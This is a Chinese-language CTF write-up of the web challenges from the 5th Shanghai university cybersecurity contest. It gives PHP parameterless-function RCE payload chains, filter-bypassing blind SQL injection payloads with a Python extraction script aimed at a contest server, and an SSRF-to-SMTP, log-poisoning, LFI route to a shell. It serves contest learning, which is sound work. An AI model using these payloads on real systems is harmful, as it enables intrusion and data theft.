zoukankan      html  css  js  c++  java
  • Writeup:第五届上海市大学生网络安全大赛-Web

    Writeup:第五届上海市大学生网络安全大赛-Web

    Write Up | 第五届上海市大学生网络安全大赛官方WP来啦

    一、Decade

    源码(大概是这样。。。)

    <?php
    $code = $_GET['code'];
    if (';' === preg_replace('/[a-z]+((?R)?)/', NULL, $code)) {
        if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
            echo 'bye~';
        } else {
            eval($code);
        }
    } else {
        echo "No way!!!";
    }
    

    分析一下正则,可以调用纯字母的函数,但是不可以有参数
    学弟的payload是这样的echo(next(file(end(scandir(chr(ord(hebrevc(crypt(phpversion(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))))));
    官方wp的payload是echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

    学弟找到了这篇博客ByteCTF 2019部分WP
    研究一下其中shellcode的部分。

    无参数函数RCE(./..)

    • var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

      • phpversion()返回php版本,如7.3.5
      • floor(phpversion())返回7
      • sqrt(floor(phpversion()))返回2.6457513110646
      • tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
      • cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
      • sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
      • ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
      • chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回.
      • var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))扫描当前目录
    • next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))返回..

    • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

      • chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))返回True

      • localtime(time(True))返回一个数组

      • pos(localtime(time(1)))返回数组当前指针位置的数据,即tm_sec,可以为46

    • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

      • hebrevc(crypt(arg))可以随机生成一个hash值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过ord chr只取第一个字符

    • readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

      • 同上
    • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

      • pos(localeconv())返回.

    其他思路被过滤的比较多,但是也有必要了解一下
    PHP Parametric Function

    二、Easysql

    当时做的时候参考了SQL注入有趣姿势总结
    Sql注入笔记

    这道题过滤蛮多的

    • if
      case when绕过

    • or
      or的绕过不难,关键是information表不能用了

      • 获取表名:MySQL数据库的Innodb引擎的注入

        在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_stats和innodb_index_stats。所以可以通过查找这两个表取代information的作用

      • 获取列名无列名注入
        select `2` from (select 1,2 union select * from fl111aa44a99g)x limit 1 offset 1
        
    • ,
      实际上这里,也被过滤了,所以上面的payload要改成

      select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1
      
    • union select
      没有单独过滤union,我用的内联注释/*!union*/,其实把空格换成%0a就行了

    附上我的脚本:

    import requests
    import string
    
    s = requests.session()
    
    url = "http://47.105.183.208:29898/article.php"
    payload = ''
    
    opt = string.ascii_letters + string.digits + string.punctuation
    result = ''
    
    for x in range(1, 50):
        for i in opt.replace("%", ''):
            # sql = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() limit 1 offset 1"
            sql = "select `3` from (select * from (select 1)a JOIN (select 2)b join (select 3)c /*!union*/ select * from fl111aa44a99g)x limit 1 offset 1"
            # sql = "select `2` from (select 1,2 union select * from article_fl111aa44a99g)x limit 1 offset 1"
            payload = "1'=(case when (%s) like '%s%%' then 1 else 0 end)='1" % (sql, result + i)
            params = {
                'id': payload,
            }
            # print(payload)
            response = s.get(url, params=params)
            if '2333333333333' in response.text:
                result += i
                break
    
        if '%' in result:
            break
        print(result)
    
    # database: cccttffff
    # table: article, fl111aa44a99g
    

    有师傅说直接union注入就可以了,好像有点道理。。

    三、Babyt5

    原题哭了。。
    6月安恒杯web2 —— 一道SSRF题

    二次编码绕过strpos

    https://bugs.php.net/bug.php?id=76671&edit=1

    Description:

    The bug is more related to when we send a string with encode to the strpos(), when we sent a string with double encode we were able to bypass the verification, using %2570hp if the case is like strpos($string, "php").

    Test script:

    $x = $_GET['x']; //?x=file:///var/www/html/readme.%2570hp
    $pos = strpos($x,"php");
    if($pos){
            exit("denied");
    }
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$x");
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $result = curl_exec($ch);
    echo $result;
    
    Expected result:
    ----------------
    denied
    
    Actual result:
    --------------
    <?php
    //readme
    ?>
    

    ssrf:利用gopher协议攻击smtp服务,配合LFI getshell

    https://github.com/tarunkant/Gopherus
    先读取/etc/hosts获取内网IP,然后尝试访问邻近IP,可以发现有个主机开放了25端口--SMTP服务。我们可以利用gopher协议向目标机发送邮件,把后门写进日志里
    linux中邮件日志路径一般为

    /var/log/maillog
    /var/log/mail.log
    /var/adm/maillog
    /var/adm/syslog/mail.log
    

    用LFI包含日志文件就可以getshell了

    四、lol2

    没有复现,不纸上谈兵了

  • 相关阅读:
    我的日常笔记
    html元素是如何占据空间和定位的
    jdbc和数据库的应用
    java笔记之String的应用
    java笔记之静态修饰附和单例设计模式
    java笔记
    本人对于JavaScript的一些总结
    JavaScript 轮播图
    h5简单布局练习
    有一个八位数,个位数+十位数+百位数+千位数一直加到千万位数的和除以7能等于0.。。。
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11808884.html
Copyright © 2011-2022 走看看